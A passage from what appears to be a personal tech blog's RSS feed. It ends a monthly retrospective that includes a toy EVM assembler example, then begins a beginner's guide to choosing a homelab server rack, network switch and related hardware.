&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">MSTORE
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">// Return 1 byte from offset 31 in memory.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">PUSH1 0x01
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">PUSH1 0x1f
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">RETURN
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./mnc &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">tempfile&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> /dev/stdout
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>60016000526001601ff3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I now store eth-zvm&amp;rsquo;s benchmark examples in human-readable mnemonic format and &lt;a href="https://github.com/mtlynch/eth-zvm/blob/b21747c6873cc2187c83298032e2869d45da5274/.circleci/config.yml#L22-L41">compile them to bytecode on-demand&lt;/a> to run the benchmarks.&lt;/p>
&lt;p>It was fun to write a compiler, even a simple one. My compiler currently accepts code that&amp;rsquo;s semantically incorrect like &lt;code>PUSH1 RETURN&lt;/code>, but it&amp;rsquo;s good enough for my purposes. The project continues to be a fun way to teach myself about how programming languages work at a deeper level.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Locked down access to TinyPilot&amp;rsquo;s production secrets.&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/zig-extraneous-build/">&amp;ldquo;Why does an extraneous build step make my Zig app 10x faster?&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/building-first-homelab-rack/">&amp;ldquo;Building My First Homelab Server Rack.&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Consolidated TinyPilot&amp;rsquo;s hosting to Fly.io and Netlify.&lt;/li>
&lt;li>Delegated our RMA process to a third-party vendor.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Storing secrets in CI environment variables is good, but the more team members you have, the more you should restrict access.&lt;/li>
&lt;li>Use a rigorous approach when migrating services between platforms.
&lt;ul>
&lt;li>Choose a time of day when you won&amp;rsquo;t disrupt business but have time to recover from mistakes.&lt;/li>
&lt;li>Dial down DNS TTL at least a day before the migration.&lt;/li>
&lt;li>Prepare new TLS certificates in advance of the migration.&lt;/li>
&lt;li>Choose a staging subdomain name that you can tolerate end-users seeing if things go awry.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Begin conversations with three new potential TinyPilot distributors or sales channels.&lt;/li>
&lt;li>Oversee development of two new TinyPilot software features.&lt;/li>
&lt;li>Coordinate with manufacturer on production planning for the rest of 2024.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Building My First Homelab Server Rack</title><link>https://mtlynch.io/building-first-homelab-rack/</link><pubDate>Fri, 05 Apr 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/building-first-homelab-rack/</guid><description>&lt;p>Seven years ago, I built my &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/">first home server&lt;/a>. It made my software development work faster and more enjoyable, so I&amp;rsquo;ve gotten more into the home server scene. I built &lt;a href="https://mtlynch.io/budget-nas/">a custom storage server&lt;/a>, &lt;a href="https://mtlynch.io/building-a-vm-homelab/">another development server&lt;/a>, and a dedicated firewall.&lt;/p>
&lt;p>At some point, my wife gently observed that my office was filling with unsightly wires. &amp;ldquo;What?&amp;rdquo; I asked. &amp;ldquo;This is a &lt;em>normal&lt;/em> amount of wires.&amp;rdquo; But then I looked around and realized it was kind of a lot of wires&amp;hellip;&lt;/p></description><content:encoded>&lt;p>Seven years ago, I built my &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/">first home server&lt;/a>. It made my software development work faster and more enjoyable, so I&amp;rsquo;ve gotten more into the home server scene. I built &lt;a href="https://mtlynch.io/budget-nas/">a custom storage server&lt;/a>, &lt;a href="https://mtlynch.io/building-a-vm-homelab/">another development server&lt;/a>, and a dedicated firewall.&lt;/p>
&lt;p>At some point, my wife gently observed that my office was filling with unsightly wires. &amp;ldquo;What?&amp;rdquo; I asked. &amp;ldquo;This is a &lt;em>normal&lt;/em> amount of wires.&amp;rdquo; But then I looked around and realized it was kind of a lot of wires&amp;hellip;&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/office-wires-1.webp">
 &lt;img
 
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/office-wires-1_hu_a6ec9ca73deea3d.webp 300w, https://mtlynch.io/building-first-homelab-rack/office-wires-1_hu_6bb10fbc7ae88ac6.webp 600w, https://mtlynch.io/building-first-homelab-rack/office-wires-1_hu_6d007ae12db6702.webp 800w, https://mtlynch.io/building-first-homelab-rack/office-wires-1.webp 900w'
 src="https://mtlynch.io/building-first-homelab-rack/office-wires-1.webp" alt="Photo of lots of wires in my office" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/office-wires-2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/office-wires-2_hu_d34e44db3d37754e.webp 300w, https://mtlynch.io/building-first-homelab-rack/office-wires-2_hu_9adabf8eecef4171.webp 600w, https://mtlynch.io/building-first-homelab-rack/office-wires-2_hu_69e6b5c8ac583f05.webp 800w, https://mtlynch.io/building-first-homelab-rack/office-wires-2.webp 900w'
 src="https://mtlynch.io/building-first-homelab-rack/office-wires-2.webp" alt="Photo of lots of wires in my office" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My office, upon closer inspection, kind of had a lot of wires&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>A lot of home server enthusiasts buy server racks, but I never thought of myself as a rack guy. I wasn&amp;rsquo;t &lt;em>so&lt;/em> into servers that I needed a whole rack; I just had a VM server here, a data server there. Maybe a few switches scattered around. Buying a rack meant admitting that I wasn&amp;rsquo;t just a casual home server guy but an intense homelab weirdo.&lt;/p>
&lt;p>One day, I gave in and bought a rack, and I&amp;rsquo;m better for it. It makes my servers more pleasant to work with and eliminates my sprawling mess of wires.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/full-rack.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/full-rack_hu_f22ff88b92bf551c.webp 300w, https://mtlynch.io/building-first-homelab-rack/full-rack_hu_8b2c2d502d9a69c8.webp 600w, https://mtlynch.io/building-first-homelab-rack/full-rack_hu_4985a37664fa3fa0.webp 800w, https://mtlynch.io/building-first-homelab-rack/full-rack_hu_6e8fd6085ddbecc4.webp 1200w, https://mtlynch.io/building-first-homelab-rack/full-rack.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/full-rack.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="i-dont-want-your-life-story--just-show-me-the-rack">I don&amp;rsquo;t want your life story — just show me the rack&lt;/h2>
&lt;p>If you want to skip the explanations and jump to my rack, see &lt;a href="#my-final-rack-setup">my final setup&lt;/a> below.&lt;/p>
&lt;h2 id="table-of-contents">Table of contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#whats-a-homelab">What&amp;rsquo;s a homelab?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#why-build-a-server-rack-at-home">Why build a server rack at home?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#why-this-guide">Why this guide?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-a-rack">Choosing a rack&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-a-network-switch">Choosing a network switch&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-10g-nics">Choosing 10G NICs&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-a-ups-battery-backup">Choosing a UPS (battery backup)&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-a-power-strip">Choosing a power strip&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-rack-shelves">Choosing rack shelves&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-a-patch-panel">Choosing a patch panel&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-a-raspberry-pi-rack-mount">Choosing a Raspberry Pi rack mount&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-ethernet-cables">Choosing Ethernet cables&lt;/a>&lt;/li>
&lt;li>&lt;a href="#choosing-fiber-cables">Choosing fiber cables&lt;/a>&lt;/li>
&lt;li>&lt;a href="#what-i-already-had">What I already had&lt;/a>&lt;/li>
&lt;li>&lt;a href="#how-do-i-arrange-components-in-a-rack">How do I arrange components in a rack?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#my-final-rack-setup">My final rack setup&lt;/a>&lt;/li>
&lt;li>&lt;a href="#next-steps-in-my-rack">Next steps in my rack&lt;/a>&lt;/li>
&lt;li>&lt;a href="#avoiding-mistakes-i-made">Avoiding mistakes I made&lt;/a>&lt;/li>
&lt;li>&lt;a href="#my-life-with-a-rack">My life with a rack&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="whats-a-homelab">What&amp;rsquo;s a homelab?&lt;/h2>
&lt;p>&amp;ldquo;Homelab&amp;rdquo; is a colloquial term that&amp;rsquo;s grown in popularity over the last decade.&lt;/p>
&lt;p>A homelab is a place in your home where you can experiment with IT hardware and software that you&amp;rsquo;d typically find in an office or a data center. You can use it as a practice environment for new professional skills or as a place to play with cool technology.&lt;/p>
&lt;h2 id="why-build-a-server-rack-at-home">Why build a server rack at home?&lt;/h2>
&lt;p>If you&amp;rsquo;ve never worked with servers, you might wonder why anyone would keep a bunch of them in their house, much less build a little shrine for them.&lt;/p>
&lt;p>Everyone has their own reasons for getting into homelab, but here are mine:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Software development&lt;/strong>: I use a dedicated server for virtual machines, so rebooting or upgrading my main workstation doesn&amp;rsquo;t affect what&amp;rsquo;s running on my server. It&amp;rsquo;s easy for me to spin up new experimental VMs that don&amp;rsquo;t affect my other projects.&lt;/li>
&lt;li>&lt;strong>Storage&lt;/strong>: It&amp;rsquo;s more convenient to have a huge amount of storage that all of my devices share rather than buying large hard drives for each device and scattering my data everywhere. The storage server uses &lt;a href="https://en.wikipedia.org/wiki/ZFS">ZFS&lt;/a>, which reduces the risk of data loss, even when a hard drive dies.&lt;/li>
&lt;li>&lt;strong>Networking&lt;/strong>: Building my own router with open-source software gives me more control over my network and saves me from the buggy software that lives on most consumer-grade routers.&lt;/li>
&lt;/ul>
&lt;h2 id="why-this-guide">Why this guide?&lt;/h2>
&lt;h3 id="by-a-beginner-for-beginners">By a beginner for beginners&lt;/h3>
&lt;p>Even though I&amp;rsquo;ve been experimenting with homelab for the past few years, this was my first time building a server rack, so this is a beginner-level guide.&lt;/p>
&lt;p>Every other article I&amp;rsquo;ve read about server racks reads like someone explaining their 20th rack. They don&amp;rsquo;t explain how they chose components or why they rejected alternatives. They&amp;rsquo;ve been doing it for so long that their decisions are unconscious.&lt;/p>
&lt;p>Because this is my first time building a server rack, I&amp;rsquo;m free from the &lt;a href="https://en.wikipedia.org/wiki/Curse_of_knowledge">curse of knowledge&lt;/a>. I&amp;rsquo;m walking you through how I approached this process for the first time.&lt;/p>
&lt;h3 id="no-conflict-of-interest">No conflict of interest&lt;/h3>
&lt;p>I&amp;rsquo;m not getting paid by anyone or receiving free products to write this post. I have no advertisers to satisfy or partnerships to maintain.&lt;/p>
&lt;p>The uncomfortable truth about most homelab blogs is that they&amp;rsquo;re funded by affiliate links. This means the author receives a commission when their readers purchase products through links in the article.&lt;/p>
&lt;p>Authors can still provide valuable information while using affiliate links, and some of the best homelab bloggers fund their work that way. Nevertheless, affiliate links create a conflict of interest between the author and their readers. If merchants pay the author a percentage commission to link to their products, it incentivizes the author to recommend expensive products and subpar merchants.&lt;/p>
&lt;p>I&amp;rsquo;m not claiming to be pure of heart or denouncing anyone who writes for money, but my incentives are more aligned with my readers&amp;rsquo;. I write my blog out of vanity — I like when people tell me that they find my posts interesting or useful. Writing out my thought process also helps me improve my approach and elicits useful feedback from readers.&lt;/p>
&lt;p>My rack does contain a TinyPilot, a hardware device that &lt;a href="https://mtlynch.io/tinypilot/">I created&lt;/a>, but it doesn&amp;rsquo;t affect my other choices. I&amp;rsquo;ll disclose my relationship with TinyPilot whenever I mention it.&lt;/p>
&lt;h2 id="choosing-a-rack">Choosing a rack&lt;/h2>
&lt;p>If you&amp;rsquo;re building a server rack, it seems like the first thing you&amp;rsquo;d choose is the rack itself. It&amp;rsquo;s not that simple.&lt;/p>
&lt;p>Selecting your rack is an iterative process. You can&amp;rsquo;t decide what type of rack to buy until you know what components your rack will hold. But knowing what type of racks are available also informs what components to buy.&lt;/p>
&lt;p>Here&amp;rsquo;s the process I followed to pick a server rack:&lt;/p>
&lt;ol>
&lt;li>Browse racks casually to get a high-level view of pricing, features, and size options.&lt;/li>
&lt;li>Make a rough list of components I want for my rack.&lt;/li>
&lt;li>Calculate how much rack height and depth I&amp;rsquo;ll need for those components.&lt;/li>
&lt;li>Narrow the list of racks that meet my needs.&lt;/li>
&lt;li>Repeat steps 2-4 until I&amp;rsquo;ve made a final decision.&lt;/li>
&lt;/ol>
&lt;h3 id="how-many-rack-units">How many rack units?&lt;/h3>
&lt;p>Racks have capacity measured in rack units (RUs). 1 rack unit is 1.75&amp;quot;. You typically see racks sized as a number followed by a U, so an 8U rack would have eight RUs or 8 x 1.75&amp;quot; = 14&amp;quot; of height for components.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/1ru.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/1ru_hu_ee84d88d229490ae.webp 300w, https://mtlynch.io/building-first-homelab-rack/1ru_hu_1cbcde12e4b0fcc.webp 600w, https://mtlynch.io/building-first-homelab-rack/1ru_hu_9cfaacf6c5a22228.webp 800w, https://mtlynch.io/building-first-homelab-rack/1ru_hu_75b5868bc448331.webp 1200w, https://mtlynch.io/building-first-homelab-rack/1ru.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/1ru.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Server racks are sized in rack units where each rack unit is 1.75&amp;quot;.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If a component is designed to mount in a rack, its height will be some multiple of a rack unit. Most network switches are 1U, battery backups are usually 2U, and servers are typically 2U.&lt;/p>
&lt;p>You don&amp;rsquo;t want to buy too short a rack and run out of room for your components, but you also don&amp;rsquo;t want an enormous rack that occupies more vertical space than you&amp;rsquo;d ever use.&lt;/p>
&lt;p>As you pick components, add up how many rack units they&amp;rsquo;ll need. Leave some extra buffer based on how much you want to expand your rack in the next few years.&lt;/p>
&lt;h3 id="how-deep-does-it-need-to-be">How deep does it need to be?&lt;/h3>
&lt;p>Server racks vary in depth. Most server racks are designed for enterprise-grade servers, which are up to 50&amp;quot; long.&lt;/p>
&lt;p>At work, my office has an HP ProLiant DL380 G7 server, and it&amp;rsquo;s a huge hassle. It&amp;rsquo;s 29&amp;quot; long and weighs 50 lbs. It was a pain to mount and will be a pain when I sell it.&lt;/p>
&lt;p>I have a relatively small home office, and I didn&amp;rsquo;t want the rack server to dominate the space. For my home rack, I decided to limit myself to components that are shallow enough to only need front mounts.&lt;/p>
&lt;p>I looked for racks that were at least 19&amp;quot; in depth. That gave me enough depth to mount rack shelves and front-mounted server chassis without taking up a lot of extra space.&lt;/p>
&lt;h3 id="does-it-need-four-posts-or-two">Does it need four posts or two?&lt;/h3>
&lt;p>Racks come in two different styles: two-post or four-post. On four-post racks, you can mount components to both the front and the back.&lt;/p>
&lt;p>If you plan to buy long, heavy servers, you definitely need to secure them from both ends. If you want to minimize space, a two-post rack might be sufficient.&lt;/p>
&lt;p>I only wanted front-mounting components, so I could have gotten away with two posts, but four posts felt a bit sturdier, so I figured why not.&lt;/p>
&lt;h3 id="does-it-need-wheels">Does it need wheels?&lt;/h3>
&lt;p>Some server racks have wheels that move the entire structure around. Wheels were a critical feature for me, as I wanted to clean behind the rack easily.&lt;/p>
&lt;h3 id="candidates">Candidates&lt;/h3>
&lt;p>StarTech is a popular brand for server racks. They have a good reputation and a decent website, so I chose between different StarTech racks.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Brand&lt;/th>
 &lt;th>Model&lt;/th>
 &lt;th>Min Depth&lt;/th>
 &lt;th>Posts&lt;/th>
 &lt;th>Wheels&lt;/th>
 &lt;th>Height&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;strong>StarTech&lt;/strong>&lt;/td>
 &lt;td>&lt;a href="https://www.startech.com/en-us/server-management/4postrack18u">&lt;strong>4POSTRACK18U&lt;/strong>&lt;/a>&lt;/td>
 &lt;td>22&amp;quot;&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>18U&lt;/td>
 &lt;td>&lt;strong>$316&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>StarTech&lt;/td>
 &lt;td>&lt;a href="https://www.startech.com/en-us/server-management/4postrack15u">4POSTRACK15U&lt;/a>&lt;/td>
 &lt;td>22&amp;quot;&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>15U&lt;/td>
 &lt;td>$301&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>StarTech&lt;/td>
 &lt;td>&lt;a href="https://www.startech.com/en-us/server-management/2postrack16">2POSTRACK16&lt;/a>&lt;/td>
 &lt;td>12&amp;quot;&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>No&lt;/td>
 &lt;td>16U&lt;/td>
 &lt;td>$165&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>15U seemed like it would be enough, but the cost of 18U was so close that I figured I might as well get the extra 3U of space.&lt;/p>
&lt;h3 id="review-startech-4postrack18u-18u-rack">Review: StarTech 4POSTRACK18U 18U rack&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/star-tech-rack.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/star-tech-rack_hu_f39a9bacfe2d081d.webp 300w, https://mtlynch.io/building-first-homelab-rack/star-tech-rack_hu_6cdfb0b63662f84a.webp 600w, https://mtlynch.io/building-first-homelab-rack/star-tech-rack_hu_57e087a2534293ed.webp 800w, https://mtlynch.io/building-first-homelab-rack/star-tech-rack_hu_b9687f2d61e289aa.webp 1200w, https://mtlynch.io/building-first-homelab-rack/star-tech-rack.webp 1375w'
 src="https://mtlynch.io/building-first-homelab-rack/star-tech-rack.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;ul>
&lt;li>Grade: A&lt;/li>
&lt;/ul>
&lt;p>This rack is working out well. It feels sturdy, and the wheels make it easy to move around.&lt;/p>
&lt;p>Assembly was straightforward. From start to finish, it took me about two and a half hours. One minor complaint is that none of the parts are labeled, but I could match them to the instructions based on shape.&lt;/p>
&lt;p>The rack is depth-adjustable, and I chose the shallowest depth: 22&amp;quot;. The rack does have a design flaw in that the shortest depth makes some screw holes inaccessible. I worked around this by expanding the depth, screwing in the spots that are unreachable at shallow depth, then adjusting the depth back down.&lt;/p>
&lt;h2 id="choosing-a-network-switch">Choosing a network switch&lt;/h2>
&lt;p>The networking switch ended up being the hardest decision of my whole rack.&lt;/p>
&lt;p>Network switches get expensive fast, so I didn&amp;rsquo;t want to spend $300 on something only to have to supplement it with another component or replace it later on.&lt;/p>
&lt;h3 id="what-speed-do-you-need">What speed do you need?&lt;/h3>
&lt;p>Unless you&amp;rsquo;re buying something very exotic, the speeds available for a rack-mounted switch are:&lt;/p>
&lt;ul>
&lt;li>1 Gbps&lt;/li>
&lt;li>2.5 Gbps&lt;/li>
&lt;li>10 Gbps&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve had 1 Gbps Ethernet speed in my house for the past 10+ years, and that&amp;rsquo;s been fine. I do most of my work online, so the bottleneck was almost always my ISP rather than my home network.&lt;/p>
&lt;p>Lately, I&amp;rsquo;ve been finding that the bottleneck on my home storage server &lt;a href="https://mtlynch.io/budget-nas/#performance-benchmarks">is my 1 Gbps switch&lt;/a>, so I&amp;rsquo;ve been interested in a network upgrade.&lt;/p>
&lt;p>Given that I&amp;rsquo;ve been satisfied with 1 Gbps, I thought 10 Gbps would be an unnecessarily large jump. But the more I read about 2.5 Gbps hardware, the more complaints I saw that it&amp;rsquo;s flaky and unreliable. The consensus seems to be that it&amp;rsquo;s just as hard to level up to 10 Gbps as 2.5 Gbps, so you might as well go for 10 Gbps.&lt;/p>
&lt;p>I did run into headaches, but I&amp;rsquo;ll cover that more &lt;a href="#choosing-10g-nics">below&lt;/a>.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Gotcha&lt;/strong>: If you see a 10 Gbps switch, check how many ports support 10 Gbps. Often, a 10 Gbps switch will only offer 10 Gbps speeds on a subset of ports, and the rest will be 1 Gbps.
&lt;/div>

&lt;h3 id="managed-or-unmanaged-network-switch">Managed or unmanaged network switch?&lt;/h3>
&lt;p>There are two kinds of network switches: managed and unmanaged.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Managed switches&lt;/strong> allow you to configure rules and settings for your switch. The most common reason you&amp;rsquo;d want a managed switch is to create virtual networks (VLANs) to increase security on your network.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Unmanaged switches&lt;/strong> offer no configuration. They&amp;rsquo;re just dumb boxes that route network traffic. Any host connected to the switch can send network traffic to any other port on the switch.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>I wanted a plain old unmanaged switch. I&amp;rsquo;ve never used a managed switch, and I didn&amp;rsquo;t want extra configuration to manage.&lt;/p>
&lt;p>It turned out that none of the network switches that met my criteria were unmanaged, so I went with a managed switch. Once I got my managed switch, I found that it was pretty fun to have VLANs for different devices on my network. Now, I want to configure VLANs for everything!&lt;/p>
&lt;h3 id="poe-or-standard-ethernet">PoE or standard Ethernet?&lt;/h3>
&lt;p>Certain low-power devices can run entirely from the power they draw from the Ethernet cable. This is called &lt;a href="https://en.wikipedia.org/wiki/Power_over_Ethernet">power over Ethernet (PoE)&lt;/a>.&lt;/p>
&lt;p>For example, my home WiFi access point, the &lt;a href="https://support.ruckuswireless.com/products/88-ruckus-r310">Ruckus R310&lt;/a>, supports PoE, so it only needs a single Ethernet cable for power and network connectivity.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/ruckus-r310.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/ruckus-r310_hu_1a8686593dded1b7.webp 300w, https://mtlynch.io/building-first-homelab-rack/ruckus-r310_hu_cdb78b602f5b202.webp 600w, https://mtlynch.io/building-first-homelab-rack/ruckus-r310_hu_8eea51e7cecee91a.webp 800w, https://mtlynch.io/building-first-homelab-rack/ruckus-r310.webp 918w'
 src="https://mtlynch.io/building-first-homelab-rack/ruckus-r310.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My Ruckus R310 WiFi access point supports PoE, so it only needs a single Ethernet cable for power and data.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To use PoE devices, you need a PoE-enabled networking switch.&lt;/p>
&lt;p>The downside of PoE switches is that they consume more power and are more expensive. If you buy a PoE switch but have no PoE devices, non-PoE devices will still work, but you&amp;rsquo;re wasting money and power on unnecessary features.&lt;/p>
&lt;h3 id="how-many-ports-do-you-need">How many ports do you need?&lt;/h3>
&lt;p>Obviously, your switch needs at least as many ports as you have wired networking devices.&lt;/p>
&lt;p>The harder question is figuring out how many extra ports to buy beyond your current needs. The answer depends on your plans for growing your homelab in the next few years.&lt;/p>
&lt;p>You can buy additional switches later, but if you&amp;rsquo;re buying an expensive switch, you don&amp;rsquo;t want to replace the entire thing in a couple of years. And you don&amp;rsquo;t want to lose another 1U of rack real estate to an additional switch when you could have bought a single switch with more ports.&lt;/p>
&lt;p>I currently have eight devices with Ethernet ports, so I looked for switches with at least 16 ports.&lt;/p>
&lt;h3 id="candidates-1">Candidates&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Brand&lt;/th>
 &lt;th>Model&lt;/th>
 &lt;th>Ports&lt;/th>
 &lt;th>Speed&lt;/th>
 &lt;th>Managed&lt;/th>
 &lt;th>PoE&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;strong>TP-Link&lt;/strong>&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/tp-link-tl-sg3428x-24-x-rj45-4-x-sfp/p/0XP-0054-00091?Item=0XP-0054-00091&amp;amp;SoldByNewegg=1">&lt;strong>TL-SG3428X&lt;/strong>&lt;/a>&lt;/td>
 &lt;td>&lt;strong>24&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>4x10Gbps 24x1Gbps&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>Yes&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>No&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$299.00&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Microtik&lt;/td>
 &lt;td>&lt;a href="https://mikrotik.com/product/crs328_24p_4s_rm#fndtn-gallery">CRS328-24P-4S+RM&lt;/a>&lt;/td>
 &lt;td>28&lt;/td>
 &lt;td>4x10 Gbps SFP+ 24x1Gbps&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>$490.50&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>TP-Link&lt;/td>
 &lt;td>&lt;a href="https://www.aliexpress.us/item/3256804686136282.html">Unnamed Chinese Model&lt;/a>&lt;/td>
 &lt;td>18&lt;/td>
 &lt;td>2x10 Gbps SFP+ 16 x 2.5 Gbps&lt;/td>
 &lt;td>No&lt;/td>
 &lt;td>No&lt;/td>
 &lt;td>$499.90&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>TP-Link&lt;/td>
 &lt;td>&lt;a href="https://www.amazon.com/TP-Link-Jetstream-24-Port-T1600G-28TS-TL-SG2424/dp/B016M1QTS2">T1600G-28TS&lt;/a>&lt;/td>
 &lt;td>24&lt;/td>
 &lt;td>4x10 Gbps SFP 24x1Gbps&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>No&lt;/td>
 &lt;td>$299.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>TP-Link&lt;/td>
 &lt;td>&lt;a href="https://www.amazon.com/TP-Link-JetStream-T1600G-28PS-24-Port-Gigabit/dp/B0196RGV50">T1600G-28PS&lt;/a>&lt;/td>
 &lt;td>24&lt;/td>
 &lt;td>4x10 Gbps SFP 24x1Gbps&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>$295.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>TP-Link&lt;/td>
 &lt;td>&lt;a href="https://www.amazon.com/TP-Link-JetStream-24-Port-Ethernet-T1700G-28TQ/dp/B01CHP5IAC">T1700G-28TQ&lt;/a>&lt;/td>
 &lt;td>24&lt;/td>
 &lt;td>4x10 Gbps SFP 24x1Gbps&lt;/td>
 &lt;td>Yes&lt;/td>
 &lt;td>No&lt;/td>
 &lt;td>$958.40&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I&amp;rsquo;ve tried Microtik in the past, and I want to like them. They&amp;rsquo;re a small, independent hardware company. Some people love their weird 90s-style UI, but I found it confusing and difficult to navigate.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



